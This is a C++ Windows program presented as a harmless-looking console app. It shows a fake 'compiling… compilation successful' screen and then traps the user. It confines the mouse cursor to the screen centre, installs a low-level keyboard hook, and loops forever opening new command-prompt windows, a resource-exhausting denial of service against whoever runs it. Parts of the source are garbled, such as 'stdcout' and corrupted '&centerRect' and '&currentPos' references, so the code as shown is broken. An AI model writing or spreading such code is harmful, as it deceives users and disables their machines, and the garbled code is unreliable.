#include <bits/stdc++.h>
#include <string>
#ifdef _WIN32
#include <windows.h>
#endif
void setGreenText() {
#ifdef _WIN32
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
#else
stdcout << "\033[92m";
#endif
}
void resetTextColor() {
#ifdef _WIN32
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
#else
stdcout << "\033[0m";
#endif
}
HHOOK g_hKeyboardHook = NULL;
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode == HC_ACTION)
{
KBDLLHOOKSTRUCT* pKeyStruct = (KBDLLHOOKSTRUCT*)lParam;
}
return CallNextHookEx(g_hKeyboardHook, nCode, wParam, lParam);
}
void InstallHook()
{
g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(NULL), 0);
if (g_hKeyboardHook == NULL) {
}
}
void UninstallHook()
{
if (g_hKeyboardHook) {
UnhookWindowsHookEx(g_hKeyboardHook);
g_hKeyboardHook = NULL;
}
}
using namespace std;
int main() {
int screenWidth = GetSystemMetrics(SM_CXSCREEN);
int screenHeight = GetSystemMetrics(SM_CYSCREEN);
int centerX = screenWidth / 2;
int centerY = screenHeight / 2;
RECT centerRect = {centerX - 1, centerY - 1, centerX + 1, centerY + 1};
ClipCursor(¢erRect);
setGreenText();
InstallHook();
MSG msg;
cout<<"开始编译"<<endl<<"Startcompiling"<<endl<<endl;
char c=rand()%33+70;
for(int i=1;i<=int(c);i++){
char a=rand()%33;
for(int j=1;j<=a;j++){
char c=rand()%33+90;
cout<<c;
TranslateMessage(&msg);
DispatchMessage(&msg);
Sleep(2);
}
cout<<endl;
Sleep(2);
}
cout<<endl<<endl<<"编译成功开始运行"<<endl<<"Compilation successful, starting execution";
Sleep(2000);
while(1){
system("start cmd");
POINT currentPos;
GetCursorPos(¤tPos);
SetCursorPos(centerX, centerY);
}
UninstallHook();
resetTextColor();
return 0;
}